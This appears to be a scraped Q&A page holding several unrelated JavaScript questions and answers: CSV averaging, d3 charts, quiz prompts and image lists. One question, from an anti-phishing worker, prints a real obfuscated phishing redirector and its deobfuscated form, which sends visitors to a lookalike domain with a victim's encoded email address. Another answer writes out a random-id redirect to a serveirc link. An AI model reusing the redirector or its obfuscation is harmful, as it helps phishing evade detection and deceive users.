I have an .csv file that looks like:
oS,browName,browVer,timeCanvas,timeSvg
Windows,Firefox,25.0,0.25,1.23
Windows,Opera,12.16,0.572,1.465
And i would like to do a function that will count arithmetic mean for timeCanvas and timeSvg looking something like:
for (int i = 0; i < maxrow; i++)
{
if(oS=Windows)
{
if(browName=FireFox
{
if(browVer=25.0)
{
a=a+1;
timeC=timeC+timeCanvas
timeS=timeS+timeSvg
}
}
}
...
}
I googled my problem and only solution i could find was jquery-csv 0.7 with toObjects method (http://code.google.com/p/jquery-csv/)> I would like to know is it possible with this libaarry to do what i want?? And if there are some good examples (couldnt find myself)??
..........................................................................
Edit:
so i tryed vadim solution but it deos not working and i dont know hwat i do worng.Here is the code.
<script type="text/javascript" src="jquery-1.3.2.js"></script>
<script type="text/javascript">
function draw(){
var a = 0,
timeC = 0,
timeS = 0,
meanCFf=0,
meanSFf= 0;
$.get('test1.csv').done(function(data) {
var i,
lines = data.split('\n'),
line = lines[0].split(','),
oS = line.indexOf('oS'),
browName = line.indexOf('browName'),
browVer = line.indexOf('browVer'),
timeCanvas = line.indexOf('timeCanvas'),
timeSvg = line.indexOf('timeSvg');
for(i=1; i<lines.length; i++) {
line = lines[i].split(',');
if(line[oS] === 'Windows') {
a++;
timeC += parseFloat(line[timeCanvas], 10);
timeS += parseFloat(line[timeSvg], 10);
}
}
});
meanCFf = timeC/a;
meanSFf = timeC/a;
var os1 = document.getElementById("osInfo1");
os1.innerHTML = "Twoja średnia to: " + meanCFf;
var os2 = document.getElementById("osInfo2");
os2.innerHTML = "Twój sytem operacyjny to: " + meanSFf;
}
</script>
</head>
<body onload="draw()">
<p id="osInfo1"></p>
<p id="osInfo2"></p>
</body>
It looks like for loop is not working coz a is zero all the time.
Using jQuery you can do something like this:
JavaScript (script.js)
$(function() {
var a = 0,
timeC = 0,
timeS = 0;
$.get('test1.csv').done(function(data) {
var i,
lines = data.split(/\r\n|\n/),
line = lines[0].split(','),
oS = line.indexOf('oS'),
browName = line.indexOf('browName'),
browVer = line.indexOf('browVer'),
timeCanvas = line.indexOf('timeCanvas'),
timeSvg = line.indexOf('timeSvg');
for(i=1; i<lines.length; i++) {
line = lines[i].split(',');
if(line[oS] === 'Windows' && line[browName] === 'Firefox' && line[browVer] === '25.0') {
a++;
timeC += parseFloat(line[timeCanvas], 10);
timeS += parseFloat(line[timeSvg], 10);
}
}
$('#osInfo1').html("Twoja średnia to: " + timeC/a);
$('#osInfo2').html("Twój sytem operacyjny to: " + timeS/a);
});
});
HTML
<!DOCTYPE html>
<html>
<head>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
<link rel="stylesheet" href="style.css" />
<script src="script.js"></script>
</head>
<body>
<h1>CSV Test</h1>
<div id="osInfo1"></div>
<div id="osInfo2"></div>
</body>
</html>
You could get the folder manually with javascript and then attempt to manually parse it OR you could use PHP.
PHP has some great libraries for working with CSV which come standard.
Rather than go through all the effort of working with it manually every time I would personally create a simply PHP JSON service which carries out the function you require of the csv simply and delivers the data. You can then retrieve you the data using Javascript AJAX allowing you perform the code you need as usual.
Overall, I think you'll find this will mean less code for you and theres a lot more documentation on the net to support both the PHP CSV and the JSON service.
Of course, this is assuming that you have a server that has PHP.
Related
I would like to add this random code in an HTML refresh.
Once the refresh is triggered, it generates a random sequence and adds to the testing123 link.
<html>
<body>
<script type="text/javascript">
function generateRandomString(n) {
let randomString = '';
let characters =
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
for (let i = 0; i < n; i++) {
randomString += characters.charAt(
Math.floor(Math.random() * characters.length)
);
}
return randomString;
}
</script>
<meta
http-equiv="refresh"
content="1; URL='https://testing1234.serveirc.com/view.php?id="
/>
<script type="text/javascript">
generateRandomString(25);
</script>
</body>
</html>
If you're going to generate the random part of the URL client-side with JavaScript, it would make more sense to perform the redirect with JavaScript than to construct a <meta> tag for it.
<script>
function generateRandomString(n) {
let randomString = '';
let characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
for ( let i = 0; i < n; i++ ) {
randomString += characters[Math.floor(Math.random()*characters.length)];
}
return randomString;
}
setTimeout(() => {
window.location.href = `https://testing1234.serveirc.com/view.php?id=${generateRandomString(25)}`;
}, 1000); // Redirect after 1 second
</script>
Using a meta tag makes more sense if you can construct the random part from server-side code that constructs the HTML (such as with PHP or Handlebars or some scripting template engine).
I'm working at an anti Phishing company and I've stumbled a case which managed to evade our JCrawler, I tried to understand the code and what the attacker did here to stay undetectable and couldn't figure it out got really confused.
How can I avoid missing detection for sites such as this:
<!DOCTYPE html>
<html>
<title>Loading...</title>
<link rel="shortcut icon" href="favicon_a_eupayfgghqiai7k9sol6lg2.ico" />
<body>
<script>
var _0x117d=['4gSLXgI','2815VEHvFQ','14927VMrRFI','180751tIiKtp','11OWCNOZ','264810PhaCGI','49788ekTpju','https://42m6lvv4qywlq97qagwvfhnvm.monakasatelyoum.com/69bd90c1d7eb4aea978f3b70b4c2ba01//-5D8nkf4Z8xowFj3dQseoEAXkZbuLZbhvqckbUQIUGexERLdh7SGIiPu2dFknWuLaNuPLXHFNrKVsxBbwZml4cYEzxyj9bgHiJ5Qw485IUD2zCeI7l64XLrI9g7ChMk1U5MYIuWxbXIcqzk9RWPV5iVrChffikJy47gqSntD7qDhUBRRu33pHKYqGcVGD3Yv7YVvoEiGy?data=c2hhbHNhbGxAYmFjYXJkaS5jb20=','53294CAvUWH','289945bcwcUH','68GhmPuA','replace','15KaunFV'];
var _0x3d5f=function(_0x1853ca,_0x41286d){_0x1853ca=_0x1853ca-0x108;
var _0x117ddf=_0x117d[_0x1853ca];
return _0x117ddf;};
var _0x37e4a6=_0x3d5f;
(function(_0x5bb9bd,_0x286286){var _0xe278b9=_0x3d5f;
while(!![])
{try{var _0x2d8884=parseInt(_0xe278b9(0x10c))*-parseInt(_0xe278b9(0x111))+parseInt(_0xe278b9(0x10d))+-parseInt(_0xe278b9(0x112))*parseInt(_0xe278b9(0x10e))+-parseInt(_0xe278b9(0x109))+parseInt(_0xe278b9(0x113))*parseInt(_0xe278b9(0x110))+-parseInt(_0xe278b9(0x114))+parseInt(_0xe278b9(0x108))*parseInt(_0xe278b9(0x10a));
if(_0x2d8884===_0x286286)
break;
else _0x5bb9bd['push'](_0x5bb9bd['shift']());}
catch(_0x54c267){_0x5bb9bd['push'](_0x5bb9bd['shift']());}}}(_0x117d,0x339a1),location[_0x37e4a6(0x10f)](_0x37e4a6(0x10b)));
</script>
</body>
</html>
This seems something like JS obfuscator, right?
'use strict';
var _0x117d = ["4gSLXgI", "2815VEHvFQ", "14927VMrRFI", "180751tIiKtp", "11OWCNOZ", "264810PhaCGI", "49788ekTpju", "https://42m6lvv4qywlq97qagwvfhnvm.monakasatelyoum.com/69bd90c1d7eb4aea978f3b70b4c2ba01//-5D8nkf4Z8xowFj3dQseoEAXkZbuLZbhvqckbUQIUGexERLdh7SGIiPu2dFknWuLaNuPLXHFNrKVsxBbwZml4cYEzxyj9bgHiJ5Qw485IUD2zCeI7l64XLrI9g7ChMk1U5MYIuWxbXIcqzk9RWPV5iVrChffikJy47gqSntD7qDhUBRRu33pHKYqGcVGD3Yv7YVvoEiGy?data=c2hhbHNhbGxAYmFjYXJkaS5jb20=", "53294CAvUWH", "289945bcwcUH", "68GhmPuA", "replace", "15KaunFV"];
var _0x3d5f = function _getCompositionValue(key, value) {
key = key - 264;
var value = _0x117d[key];
return value;
};
var _0x37e4a6 = _0x3d5f;
(function(data, oldPassword) {
var toMonths = _0x3d5f;
for (; !![];) {
try {
var userPsd = parseInt(toMonths(268)) * -parseInt(toMonths(273)) + parseInt(toMonths(269)) + -parseInt(toMonths(274)) * parseInt(toMonths(270)) + -parseInt(toMonths(265)) + parseInt(toMonths(275)) * parseInt(toMonths(272)) + -parseInt(toMonths(276)) + parseInt(toMonths(264)) * parseInt(toMonths(266));
if (userPsd === oldPassword) {
break;
} else {
data["push"](data["shift"]());
}
} catch (_0x54c267) {
data["push"](data["shift"]());
}
}
})(_0x117d, 211361), location[_0x37e4a6(271)](_0x37e4a6(267));
I am trying to create a time series graph using d3-timeseries, a d3.js based library. I am using the implementation mentioned by the author in my JSP script tag of the body but I get nothing. Any help is appreciated.
My Code:
//data :
// [{date:new Date('2013-01-01'),n:120,n3:200},...]
var chart = d3.timeseries()
.addSeries(data,{x:'date',y:'n',diff:'n3'},
{interpolate:'monotone',color:"#333"}).width(900)
chart('#chart')
To use this library you need to perform a few steps which are not very well documented anywhere.
Download ZIP.
Install bower if you don't have already
Do bower install inside this directory
Zip will contain an src folder with d3_timeseries.js and d3_timeseries.css link both of them to your html file
Sample index.html file that will work if used within the folder you unzipped library:
<html>
<head>
<script src="bower_components/d3/d3.min.js"></script>
<script src="src/d3_timeseries.js"></script>
<link href="src/d3_timeseries.css" rel="stylesheet" type="text/css">
</head>
<body>
<div class="chart" id="chart3"></div>
</body>
<script>
var data = createRandomData(80,[0,1000],0.01)
var chart3 = d3.timeseries()
.addSerie(data,{x:'date',y:'n',diff:'n3'},{interpolate:'monotone',color:"#333"})
.width(900)
chart3('#chart3')
function createRandomData(n,range,rand)
{
if(range==null)
range=[0,100]
if(rand==null)
rand=1/20
var num = range[0] + Math.floor(Math.random()*(range[1]-range[0]))
var num2 = range[0] + Math.floor(Math.random()*(range[1]-range[0]))
var num3 = num
var d= new Date('2013-01-01')
var data = []
var rgen = d3.random.normal(0,(range[1]-range[0])*rand)
for (var i = 0; i<n; i++)
{
data.push({date:d,n:num,n2:num2,n3:num3,
ci_up:num3*1.05,ci_down:num3*0.95
})
d = new Date(d.getTime() + 1000*60*60*24)
num = num+rgen()
num3 = num+rgen()/3
num = Math.min(Math.max(num,range[0]),range[1])
num2 = num2+rgen()
num2 = Math.min(Math.max(num2,range[0]),range[1])
}
return data;
}
</script>
</html>
I have a problem with the code below:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="css/main.css">
<title>The Ultimate Quiz Challenge</title>
</head>
<body>
<div class="container">
<h1>The Ultimate Quiz Challenge</h1>
<script>
document.write("<h3> " + "Welcome to the ultimate quizz challenge" +"</h3>");
document.write("<p> "+"Hi I will ask you five questions and then rank you" + "</p>");
var question1 ="<p>What is the capital of England</p>";
var firstanswer ="London";
var question2 = "<p>How many sides are there to a square</p>";
var secondanswer = 4;
var noofquestions = 2;
var count = 1
/*var temp = eval('question' +1); */
/*document.write(temp);*/
/* main loop asking questions */
while (count <= 2) {
var temp = eval('question' + count);
document.write(temp);
var answer = prompt("Please type your answer ");
count++;
}
</script>
</div>
</body>
</html>
When I load the file into a browser such a chrome or safari it does not execute as hoped.
In short the document.write commands do not come out onto the screen until the prompt window as asked for two inputs. I thought the first thing to be seen would be the Ultimate Quiz Challenge followed by the commands in the open script tag down to the bottom ?
You should use the onload event on your body, so your script executes once the html page is rendered. It should work with :
<body onload="displayText()">
displayText() being a function you define in your script :
var displayText = function () {
while (count <= 2) {
var temp = eval('question' + count);
document.write(temp);
var answer = prompt("Please type your answer ");
count++;
}
};
or something similar.
I want to navigate through images from a folder with JS, and i want to make an array of the files in the folder. I can't figure how to do that...I want to make the array |var images| and get rid of the links that i have manualy put them there.
<html>
<head>
<title>Ranking Page</title>
<script language="Javascript">
var images = [
"http://dummyimage.com/600x400/000/fff&text=two",
"http://dummyimage.com/600x400/000/fff&text=one"
];
var iIndex;
var iLen = images.length;
function fn_keydown(event) {
var img = document.getElementById("wrapper").childNodes[1];
if (event.keyCode === 39) {
iIndex = (iIndex + 1) >= iLen ? 0 : iIndex + 1;
} else if (event.keyCode === 37) {
iIndex = (iIndex - 1) < 0 ? iLen-1 : iIndex - 1;
}
img.setAttribute("src", images[iIndex]);
}
window.onkeydown = fn_keydown;
window.onload = function() {
iIndex = iLen;
var vEvent = {
keyCode : 39
};
fn_keydown(vEvent);
}
</script>
</head>
<body>
<div id="wrapper">
<img />
</div>
</body>
</html>
You can't do this with JavaScript as it does not have access to a computer's file system. That is because JavaScript was designed with security in mind.
You need to use server side languages for this like asp or php.You would be able to access the filesystem then with the correct security permissions and build your javaScript array code on the server. When the page loads up the paths to your images will exist in the web page and then you can do what you want with them in your javaScript.